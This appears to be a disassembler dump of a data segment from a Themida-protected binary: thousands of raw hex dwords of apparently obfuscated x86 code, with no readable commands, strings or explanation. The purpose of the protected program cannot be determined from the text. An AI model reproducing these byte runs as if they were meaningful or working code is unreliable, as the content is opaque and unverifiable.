		dd 0FE8B6602h, 4880F90h, 57000000h, 505B6160h, 51006A90h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 0BB669423h, 95FF25FBh, 6AC0DA5h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 1Dh, 40C35646h, 0EEFCB37Fh, 0D13848BAh
		dd 99BD8BB3h, 0E906AC19h, 0DA2h, 0E8h, 0ED815D00h, 6B11261h
		dd 1D15BD8Bh, 6A06ACh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1C0424h, 52420000h, 3D6FB4C3h, 0FD7BE89Eh, 60525FFDh
		dd 1289BD8Bh, 61F906ACh, 3B858D5Bh, 6A06AF7Eh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
		dd 19C350h, 0FE9h, 0BF95CC00h, 81B0D197h, 0CC169214h, 5F1D4AB1h
		dd 24048950h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 17h,	0C6C35747h, 89D1492Dh, 0AC34518Dh, 35FF6406h, 0
aFlDi		db 'f▀ьd┴%',0
		align 4
		dd 9D8B0000h, 6AC0551h,	1AB19D8Bh, 85FF06ACh, 6AC3375h
		dd 0D7816651h, 6A5F29D8h, 0BE8FFh
		db 2 dup(0)
word_5992DA	dw 0C5C9h		; DATA XREF: Themida_:00547FB1o
		dd 3F75201Dh, 0F2B6AE79h, 41BD8B2Bh, 5B06AC33h,	0E09B5FFh
		dd 8E806ACh, 3E000000h,	12BB20E3h, 896FCC54h, 0AC00059Dh
		dd 95FF5B06h, 6AC2069h,	129E9h,	0E7816600h, 0B06F75h, 198A0Fh
		dd 14E90000h, 0BA000000h, 22B716DFh, 3702FFF2h,	268AFB21h
		dd 9460A5AEh, 0E6A237BDh, 959D8B70h, 0E406AC1Ch, 0E5BD8B71h
		dd 0BB06AC2Ah, 227AC052h, 830F613Ch, 0E6h, 93D8C4BFh, 19B58959h
		dd 0F06AC09h, 6BAC8B6h,	89000000h, 0AC08859Dh, 0F9C18B06h
		dd 6604E8C1h, 6189E381h, 0E8E2F766h, 0Ah, 39735949h, 9529A521h
		dd 8D894C6Ah, 6AC00DDh,	0C82BF55Fh, 8B37CB80h, 8E8D1h
		dd 0D7D90000h, 0C4ED71A0h, 5BFC6C25h, 8DE9h, 0BDBD8900h
		dd 8B06AC11h, 4E4985h, 80515344h, 5F5B2EE3h, 7C083F9h
		dd 59FC5360h, 0A8FB55BFh, 0C0836138h, 0B5B58900h, 0E906AC05h
		dd 0Ah,	0B8641871h, 0EBA35E1Fh,	0D03B109Ah, 0E830Fh, 95890000h
		dd 6AC1099h, 41E9h, 0D8BF0F00h,	0FFFF8D8Bh, 8C0FFFFFh
		dd 5, 24C78166h, 1E183FFh, 24840Fh, 0BD330000h,	6AC1AC9h
		dd 0FFFFA583h, 8BFEFFFFh, 0AC00ED9Dh, 49958906h, 8B44004Eh
		dd 0AC238D9Dh, 0E906h, 0B58D0000h, 6B0934Ah, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0EC35343h, 4850Fh
		dd 0BB660000h, 6ABBBDh,	0FFF3D380h, 0AC214595h,	0EBBB906h
		dd 0E1830000h, 68B0FFCh, 89000000h, 0AC31558Dh,	8F0FFC06h
		dd 0
		dd 0B8h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1804h, 0C3504000h, 7EF57E05h, 0FAB70F65h, 6AD22Bh, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 8E0FEBC3h, 3, 0ADD8BF0Fh, 0E8D1C233h, 0E983D003h, 6AF47504h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 18042444h
		dd 47000000h, 0F45FC357h, 0BF446C39h, 6C1D6654h, 12E9h
		dd 183B4D00h, 0BCB760FEh, 6B4BC4ABh, 0A595D2DCh, 0DD79705h
		dd 88h,	0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h
		dd 35C35747h, 2D4A619Dh, 0C3816605h, 958BF1F7h,	6AC2F0Dh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 6BC35242h
		dd 23D92754h, 0D9BD895Eh, 8B06AC0Dh, 0AC1E058Dh, 259D8B06h
		dd 5006AC28h, 188BC28Bh, 188BC103h, 0E8D1C18Bh,	188BC203h
		dd 119D8958h, 8306AC27h, 0AC1229BDh, 840F0006h,	57h, 0B8F5h
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
		dd 51410000h, 890726C3h, 0AC292985h, 338D8D06h,	0B306AC4Eh
		dd 6AE1FF3Eh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 16042444h, 40000000h, 0ADC3C350h, 9BD8BD6h, 8306AC0Ah
		dd 0AC27F1BDh, 840F0006h, 509h,	0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 18h, 13C35242h, 680CE233h, 0F1BD83F9h
		dd 106AC27h, 4F6840Fh, 6A0000h,	3E850h,	58200000h, 448958C3h
		dd 44810424h, 140424h, 50400000h, 830FE0C3h, 6,	21E99529h
		dd 83F806ACh, 0AC27F1BDh, 860F0306h, 48Ah, 2E2D9D8Bh, 0BF6606ACh
		dd 6060D664h, 12E9h, 75BF4300h,	0BA70D534h, 1DE6D4FAh
		dd 0B3CFA783h, 13F3CCCh, 0AC05E1B5h, 9D8B6106h,	6AC28DDh
		dd 0B7D98C66h, 4E18092h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 1Ch, 43C35343h, 21AB4772h,	5EA79C27h, 0AFEBF0Fh
		dd 17840FC9h, 6A000001h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 70BEC356h, 220CDC6Dh
		dd 890FEC69h, 6, 0D8BB6657h, 858B5FE4h,	6AC32B9h, 19E98533h
		dd 13E906ACh, 1C000000h, 2B2F81EDh, 0E60084FBh,	9A3725F1h
		dd 46642E44h, 0E890A8E3h, 5, 84B4D580h,	5BDE8BABh, 8C0F50h
		dd 90000000h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 1Bh,	0D9C35646h, 5F8797B5h, 231FDBCFh, 0AC0B419Dh, 0DF816606h
		dd 6AA2CDh, 0E855006Ah,	3, 5DC35D20h, 4246C89h,	4244481h
		dd 16h,	1C35545h, 7D6885DAh, 0F55EB90h,	188Bh, 10E800h
		dd 626A0000h, 128FAF0Eh, 89E71EC0h, 1F4286ECh, 0D98B10B8h
		dd 2434815Fh, 55F49382h, 7E8h, 0E0E2FF00h, 77191C3Ah, 0FF5BFA8Bh
		dd 0AC09BD95h, 0C7816606h, 858937FDh, 6AFB21Dh,	8800Fh
		dd 89500000h, 0AC22419Dh, 37E95B06h, 0F000002h,	858BFEB7h
		dd 6AFB215h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Dh,	0BCC35646h, 0EB8D055Bh,	0E4A752DCh, 95B5295Bh
		dd 0C706AC32h, 1800h, 0B58BFC00h, 6AFB219h, 8DFDDB81h
		dd 858B32CFh, 6AC00A9h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 15h, 0A5C35747h, 458D298Dh, 8906AC32h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1904h, 0C3574700h
		dd 4972E558h, 66B384A8h, 2DADBD8Bh, 858B06ACh, 6AC32B9h
		dd 0C39BD03h, 468906ACh, 51006A04h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1D04h, 0C3514100h, 1B18CE6Fh, 0E42156A8h
		dd 85896F2Dh, 6AC1395h,	3D858960h, 8B06AC0Bh, 0AC021DBDh
		dd 60966106h, 5A616052h, 5061D0B0h, 8E8h, 58218200h, 55413ACFh
		dd 0FA8B66AAh, 6A965Fh,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 1B0424h, 57470000h, 0FC0A9C3h, 0ECBC26Ch, 51BD09B6h
		dd 0FF06AC05h, 0AFB215B5h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 0B2FD6E27h
		dd 0D2268658h, 14E9h, 87DE3D00h, 4E7A5DACh, 4293718Eh
		dd 0C83402EAh, 1AE5B0B5h, 8786681Bh, 52507644h,	0EE8h
		dd 0F8E8400h, 1B1BB9CAh, 1A66194Dh, 5F3546DEh, 0DE8310Fh
		dd 22000000h, 0E30A9FADh, 0A3929B0Ch, 4B4D8DFFh, 5A5BD0B7h
		dd 24348158h, 765B8479h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 1Bh, 0C9C35646h, 0B57F3250h, 899A895Dh, 0AC30919Dh
		dd 1D858D06h, 6A06AFB2h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 14042444h, 40000000h, 5752C350h, 6880Fh
		dd 0BD890000h, 6AC0645h, 0BF66505Fh, 489825Ah, 0FF5F5224h
		dd 0AC09BD95h, 52006A06h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 97C8541h, 0B1FA1969h
		dd 876BBF08h, 6A612B6Dh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 18A9C350h, 9D8BAD2Ch
		dd 6AC3451h, 2DA58D09h,	85C706ACh, 6AC27F1h, 3,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 0CCC35040h, 43C8384h
		dd 59D8BC1h, 8306AC10h,	0AFB21DBDh, 840F0006h, 6Eh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 66C35747h, 8834426Dh
		dd 0DE519F9Ah, 5EE9DF8Bh, 6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 0F7D4C352h
		dd 1FB0AF69h, 9D8B6BC6h, 6AC1339h, 62D38166h, 0F850F91h
		dd 0E8000000h, 7, 0DD1CA97h, 5349CECEh,	30505F5Bh, 4400110Ch
		dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h
		dd 4305036h, 11640011h,	10E8C101h, 2114430h, 3116400h
		dd 4E98358h, 1BEBE775h,	10E8C150h, 3116428h, 2114430h
		dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 319589C0h
		dd 8106AC28h, 96D5AACBh, 0F1BD833Bh, 306AC27h, 3F7850Fh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h
		dd 51410000h, 126661C3h, 0DC919211h, 0F5B69B70h, 0B21DBD83h
		dd 0F0006AFh, 3C484h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1904h, 0C3514100h, 26395E75h, 0B5FF9053h
		dd 6AFB21Dh, 27A19D89h,	95FF06ACh, 6AC09C5h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 2DC35545h, 6EBF568Eh
		dd 0BF95385h, 0B58B60A1h, 6AC05F9h, 6165F380h, 0B211B58Bh
		dd 13E906AFh, 0B2000000h, 0E01D056Bh, 1C9981AFh, 3E359826h
		dd 1014AFCDh, 6C76BCCh,	10001h,	0E996B6B7h, 14h, 5BBC477Dh
		dd 0DCEB8D05h, 5BE4A752h, 0A1BB256Dh, 3779A661h, 890F5050h
		dd 4, 79A5BB66h, 6A965Fh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1D0424h, 57470000h, 83A89EC3h, 307459C0h
		dd 2B5732F8h, 0AC0F91BDh, 0B98D8906h, 0FF06AC0Eh, 0AFB21DB5h
		dd 13E906h, 18670000h
		dd 24D2258Ah, 0D4B3D712h, 2AF1A579h, 0FB232469h, 5595FF5Ch
		dd 2906AC1Fh, 0AC07B58Dh, 11B58B06h, 6A06AFB2h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 0D0E2C350h, 0D8BA5EC4h, 7ABB2D31h, 81097E4Eh, 54C199CFh
		dd 0E5858B27h, 0E806AC00h, 5, 0A63B0350h, 895FF8E3h, 0C486h
		dd 8DDF8100h, 8B03CD91h, 0AC2F0D95h, 0DB816606h, 0C283C3A9h
		dd 8D953104h, 8906AC1Ah, 8C0F2050h, 6, 193D9D8Bh, 858D06ACh
		dd 6AFC71Eh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Ah,	0ACC35545h, 0A643BE92h,	89F8C37Bh, 0B886h, 0A5952900h
		dd 6A06AC14h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1704h, 0C3574700h, 2D6FE43Bh, 89FA8B66h, 0AC2669B5h
		dd 1DB5FF06h, 8106AFB2h, 15ACECCFh, 0A595FF54h,	6A06AC0Dh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1C042444h
		dd 45000000h, 38B0C355h, 7E53F4E9h, 964C933Bh, 5810Fh
		dd 72BF0000h, 501389DEh, 0DD9D0996h, 0FF06AC11h, 0AFB21DB5h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 6FBDFCB8h, 5E9h,	92444E00h, 95FF8D66h, 6AC090Dh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 7C35747h
		dd 91A4665Bh, 838BB3FEh, 0AC0B61BDh, 840F0006h,	5Dh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0BEC35646h, 0F2494C20h
		dd 80ADBED4h, 0B79601D7h, 11E95096h, 0AA000000h, 15E23225h
		dd 7C867EA4h, 0AC5FAE00h, 0D8A6CE15h, 51006A96h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h
		dd 1DB5FF70h, 6A06AFB2h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 0B7B5C353h,	25A9827Bh
		dd 213595FFh, 8B5106ACh, 0AC2EAD9Dh, 0B5FF5F06h, 6AFB21Dh
		dd 0BE82CF81h, 0BB662D35h, 95FF0D5Bh, 6AC14D9h,	68D0Fh
		dd 9D890000h, 6AC05A5h,	1E9BD83h, 0F0206ACh, 4E84h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 30FE6864h, 3677B202h, 9577BFCAh, 9D893C00h, 6AC14EDh
		dd 5A9858Bh, 8E906ACh, 0A4000000h, 5BFE15DCh, 0C6A06BEFh
		dd 8C0F0000h, 3, 0C7DEB70Fh, 0AC300185h, 6, 3810F00h, 80000000h
		dd 8C0F62CBh, 0Dh, 5E8h, 59774B00h, 5B52F8E1h, 0F36DE95Fh
		dd 6AFFFFh, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
		dd 50400000h, 89A2D7C3h, 0AC290DB5h, 0C18BF806h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 0D5C35141h, 858D797Ch
		dd 6AC2741h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ah,	0F4C35242h, 29F058ACh, 9D8BCD0Ah, 6AC2509h, 29F1BD89h
		dd 0BF5006ACh, 2A1BB37Fh, 0E9240489h, 0Ch, 30E161A2h, 0B7A9F44Fh
		dd 230C8B3Fh, 11E8006Ah, 0C7000000h, 899BF943h,	15BE0C18h
		dd 0F4C39588h, 0D964D7BDh, 0E6E9DB81h, 6A5B01DDh, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1604h, 0C3524200h
		dd 0E9FD3C2Ah, 0Dh, 5E4D9E88h, 0FA8C22C1h, 97F0A6B6h, 0DAF38018h
		dd 21D8858Dh, 830F06B1h, 6, 353DBD8Bh, 0C08306ACh, 95895305h
		dd 6AC2059h, 0CE9905Bh,	0C3000000h, 1418016Eh, 2DE1D41Bh
		dd 507F1D2Ah, 358D0190h, 6A06AC2Eh, 11E800h, 6EA60000h
		dd 1A42630Eh, 0B357FB2h, 0F8C154BDh, 8B383B2Dh,	0AC33519Dh
		dd 6A5B06h, 0E857006Ah,	3, 5FC35F20h, 4247C89h,	4244481h
		dd 14h,	0DBC35747h, 0FFDAB70Fh,	0AC0AF995h, 0ADBD8B06h
		dd 106AC26h, 0AC11299Dh, 808D8D06h, 8B06AF8Bh, 0AC21BDBDh
		dd 6AD1FF06h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1D042444h, 47000000h, 76D2C357h, 37DB27h, 0E1CB9BD3h
		dd 33CD9531h, 0BD8906ACh, 6AC0A9Dh, 161BD83h, 0F0106ACh
		dd 6385h, 13E900h, 0D55C0000h, 8E83CE28h, 3AFCFF4Ch, 0CCA95BF0h
		dd 9DB51B2h, 8B026A0Eh,	10E990DEh, 98000000h, 0ABE1AA00h
		dd 51E3E5ABh, 0C3991E9Ah, 505240D8h, 6A90F98Bh,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
		dd 0C02CC352h, 3DC445A8h, 0DA595FFh, 0B58906ACh, 6AC20B1h
		dd 0D40E9h, 0E800h, 815D0000h, 0B121E2EDh, 53006A06h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h
		dd 8EC7D1E4h, 92D253A8h, 24C1BD8Bh, 8D8906ACh, 6AC200Dh
		dd 295BF957h, 0AC27ADBDh, 3B858D06h, 0E906AF7Eh, 0Eh, 7D4BE69Ah
		dd 0B8E0707Bh, 0D1C04B6Bh, 5F52B52Bh, 4DBF6690h, 0FA8B5021h
		dd 55006A90h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1904h
		dd 0C3554500h, 0BAFE1295h, 8B667CF8h, 35FF64D9h, 0
		dd 1241BD8Bh, 896406ACh, 25h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 0EE9656Eh
		dd 0B0000000h, 148C0459h, 949A277Fh, 96CB4AEFh,	0CE819h
		dd 93C60000h, 0BFD99B29h, 31ED8C8Bh, 9D014A28h,	6AC26DDh
		dd 7585FF5Bh, 6A06AC33h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 0E844C357h,	7, 1502E528h
		dd 810E5344h, 0C1DB2DDFh, 0FF6A5F03h, 26519D8Bh, 0B5FF06ACh
		dd 6AC28B1h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 17h,	51C35040h, 0E8AAEEECh, 14h, 3FE8728Ah, 583492B2h
		dd 4C029268h, 8EFBE533h, 5E885854h, 0FEF8166h, 0B5015BBEh
		dd 6AC1115h, 206995FFh,	13E906ACh, 66000001h, 0B0FB8Bh
		dd 1999BD2Bh, 70E606ACh, 1568F381h, 71E42016h, 19999D8Bh
		dd 613C06ACh, 0F0830Fh,	0B5890000h, 6AC21D9h, 8BC8B60Fh
		dd 0AC05F19Dh, 6BA06h, 85890000h, 6AC0B95h, 0C18BDD8Ah
		dd 0E8C1EFB3h, 0C3816604h, 0F766C505h, 0ADDF81E2h, 2B250FC9h
		dd 598529C8h, 0F506AC20h, 8E0FD18Bh, 6,	3015BD8Bh, 0A3E906ACh
		dd 0F000000h, 985h, 38F0F00h, 0F000000h, 858BD8BFh, 505F4C4Ch
		dd 31B58D89h, 0C08306ACh, 0B5296007h, 6AC1329h,	5C98589h
		dd 836106ACh, 860F00C0h, 0Bh, 5840Fh, 81660000h, 3BE045DFh
		dd 28830FD0h, 3000000h,	0AC2E49BDh, 50E906h, 860F0000h
		dd 11h,	9E856h,	94FF0000h, 63A8272h, 5F17EDC2h,	499D8B5Bh
		dd 8B06AC25h, 0FFFFFF8Dh, 1E183FFh, 24840Fh, 8B660000h
		dd 0FFA583FEh, 0FEFFFFFFh, 33999D8Bh, 958906ACh, 505F4C4Ch
		dd 31F9BF0Fh, 0AC07F995h, 0E906h, 0B58D0000h, 6B0A205h
		dd 0C830Fh, 890F0000h, 6, 202D9D0Bh, 6A06ACh, 32099D03h
		dd 95FF06ACh, 6AC2145h,	95D78166h, 62E38123h, 0B961CAF3h
		dd 0FC3h, 2439BD23h, 0E18306ACh, 50006AFCh, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1404h,	0C3504000h, 6985891Ah
		dd 0FC06AC24h, 8358ECBBh, 0E8C02B01h, 6, 0D6AA2F1Ah, 0E852B682h
		dd 10h,	57ADA74h, 8CDD9FB6h, 0ED17021Fh, 65D3AA5Ah, 0BA5B5F5Bh
		dd 0
		dd 1AC98D89h, 0BF6606ACh, 33ADEE26h, 3E8D1C2h, 4E983D0h
		dd 9D89F475h, 6AC3059h,	33998589h, 880D06ACh, 89000000h
		dd 0AC0D69BDh, 0D958B06h, 8906AC2Fh, 0AC20618Dh, 58D8B06h
		dd 6606AC1Eh, 506E40BFh, 188BC28Bh, 188BC103h, 0E8D1C18Bh
		dd 188BC203h, 53006A58h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1B04h, 0C3534300h, 3F85827Fh, 9F86B349h, 25EDBD8Bh
		dd 9D8906ACh, 6AC0729h,	40FCCEBBh, 29BD8322h, 6AC12h, 59840Fh
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
		dd 53430000h, 0CC923AC3h, 3F3071EDh, 0BD29830Ah, 6AC2655h
		dd 0B8h, 21BD8900h, 8D06AC35h, 0AC4E338Dh, 6AE1FF06h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 8300C350h, 0AC27F1BDh, 840F0006h, 404h, 0FE9h, 0CD4CE400h
		dd 1DE1E465h, 47D2C6A4h, 7900DDCBh, 0E890Fh, 9E90000h
		dd 81000000h, 0FE3BFBA0h, 0C4F4FC21h, 27F1BD83h, 0F0106ACh
		dd 3EA84h, 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h
		dd 1D04h, 0C3554500h, 7EA77C7Bh, 0FD835327h, 12E953B5h
		dd 63000000h, 6D5F351Bh, 4F19C4E1h, 15C77E47h, 15A8A37h
		dd 0F1BD834Ch, 306AC27h, 36B860Fh, 0BF0F0000h, 6A60DFh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
		dd 0BFCD4EC3h, 0CB81661Fh, 8C66AEA1h, 959D03D9h, 6006AC14h
		dd 66FE8B66h, 610E48BAh, 6A04E180h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 6C58C357h
		dd 234A3755h, 66BC8581h, 0AB45CBBh, 40840FC9h, 6A000001h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1C042444h
		dd 43000000h, 0F776C353h, 35B2C86Bh, 31BC4460h,	0AC080D95h
		dd 11BD8906h, 8B06AC25h, 0AC32B985h, 52006A06h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 0F04414C3h
		dd 71325AE5h, 853321EFh, 6AC19E9h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 14h, 53C35040h, 8B525090h, 0F310FFEh
		dd 28Fh, 5A616000h, 8B665058h, 6A90DEh,	3E852h,	5A200000h
		dd 54895AC3h, 44810424h, 190424h, 52420000h, 0C5B238C3h
		dd 8B19DCC8h, 0AC2179BDh, 9006A06h, 0AC05DD9Dh,	0A3316806h
		dd 0C1BF4F1Dh, 816700C3h, 0A0CE2434h, 6A4F02h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 0C1E854C3h, 0F41A3404h, 1ABBF98Ah, 0FF5F11A2h, 0AC09BD95h
		dd 799D8B06h, 8906AC1Fh, 0AFB21D85h, 53006A06h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 0FA68F83h
		dd 0EB81BB72h, 20E2524Dh, 178E9h, 11BD8B00h, 8B06AC30h
		dd 0AFB21585h, 0CF816606h, 0C7F422h, 18h, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 1Ah, 4EC35343h, 6953755Ch
		dd 8BF89FF3h, 19B58BD8h, 3106AFB2h, 0AC20E985h,	0A9858B06h
		dd 6A06AC00h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 16042444h, 40000000h, 4843C350h, 59BD2B2Bh, 8906AC30h
		dd 0D98B6606h, 32B9858Bh, 0BD8B06ACh, 6AC13A5h,	6A044689h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1D042444h
		dd 46000000h, 0BDD9C356h, 7DAA246Ah, 0DFD97B44h, 43569EBBh
		dd 8B665011h, 243489F9h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 14h, 21C35646h, 8BDFB70Fh,	15B5FFF9h, 6A06AFB2h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 19042444h
		dd 45000000h, 84D8C355h, 3E5E600Fh, 1BF19589h, 0B5106ACh
		dd 0AC10B59Dh, 0E8685B06h, 66B1D19Bh, 481F98Bh,	4D681724h
		dd 2DBD294Eh, 8D06AC12h, 0AFB21D85h, 51006A06h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 0E9501FFFh
		dd 0Dh,	81270C4Fh, 9791EFA1h, 0CF306183h, 240489A2h, 1CC38166h
		dd 0BD95FFC2h, 0E906AC09h, 0Dh,	0CE06FEC6h, 0D07C3611h
		dd 5003F71Eh, 8E9612Ch,	33000000h, 1242AB92h, 0C7DE12B5h
		dd 0AC27F185h, 306h, 55006A00h,	3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1904h, 0C3554500h, 0A91D449Fh, 0BD83034Eh
		dd 6AFB21Dh, 6840F00h, 0E9000000h, 1Ch,	0C3050FCh, 11440011h
		dd 10E8C101h, 2114430h,	3114C00h, 4E98358h, 36EBE775h
		dd 11043050h, 1116400h,	3010E8C1h, 21144h, 58031164h, 7504E983h
		dd 501BEBE7h, 2810E8C1h, 30031164h, 58021144h, 1116428h
		dd 83110430h, 0E77504E9h, 0C08B00EBh, 8046C0BFh, 53006A69h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 4CA6FA1Ch, 5FF88B56h, 24EB8166h, 0F1BD838Dh,	306AC27h
		dd 499850Fh, 0F600000h,	14B3D9B7h, 1DBD8361h, 6AFB2h, 485840Fh
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h
		dd 56460000h, 0FF579CC3h, 0F94E8D1h, 0B5FFD8BFh, 6AFB21Dh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 27C35545h
		dd 0FBEA64Ch, 0FE87Ah, 45170000h, 0B02CED69h, 0EC9401D2h
		dd 4CC4CEE3h, 2D8D092Dh, 5B06AC28h, 9C595FFh, 6A06ACh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 8C1903C3h, 95892C1Bh, 6AC0D81h, 0B211B58Bh, 0FE8B06AFh
		dd 106C7h, 0B70F0001h, 0BE950D9h, 0A3000000h, 0B68AEB73h
		dd 0C8D8BB36h, 3489F179h, 52006A24h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1904h,	0C3524200h, 0CE30A9Fh
		dd 9D8B929Bh, 6AC11CDh,	0B21DB5FFh, 6A06AFh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 0DC3BCC3h
		dd 49F14298h, 0E98D34ADh, 10h, 0F20A8C52h, 0A7F4DD17h
		dd 0CD27C866h, 8AFFAA1Eh, 1F5595FFh, 0BD8B06ACh, 6AC111Dh
		dd 0B211B58Bh, 6A06AFh,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 140424h, 52420000h, 858B4DC3h, 6AC00E5h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 72C35747h, 0C48689ADh
		dd 0F000000h, 1382h, 7E800h, 7F710000h,	535E4FBAh, 39958988h
		dd 5F06AC29h, 0AC4A72BFh, 0D958B7Bh, 2906AC2Fh,	0AC0895BDh
		dd 0C7816606h, 0C2839CC3h, 10E904h, 0C09A0000h,	6C0598D6h
		dd 0D47F8B70h, 76C34F55h, 5089DE96h, 50006A20h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 8FD21EC5h
		dd 0AD95891Fh, 8D06AC2Fh, 0AFC71E85h, 53006A06h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h
		dd 0BBD67957h, 35DCAE46h, 0E8DAB70Fh, 9, 8A8CD25Dh, 984E1C01h
		dd 86895BCDh, 0B8h, 6A006Ah, 3E857h, 5F200000h,	7C895FC3h
		dd 44810424h, 1A0424h, 57470000h, 0EB37FCC3h, 0B6B8E5DEh
		dd 9F98B66h, 0AC1C49B5h, 1DB5FF06h, 6A06AFB2h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
		dd 0DB74C355h, 602F7B02h
		dd 8D09CE8Bh, 6AC0D75h,	0A595FF61h, 6A06AC0Dh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
		dd 0BB4DC352h, 4D118749h, 1DB9BD89h, 816606ACh,	504801DBh
		dd 34893BB3h, 52006A24h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
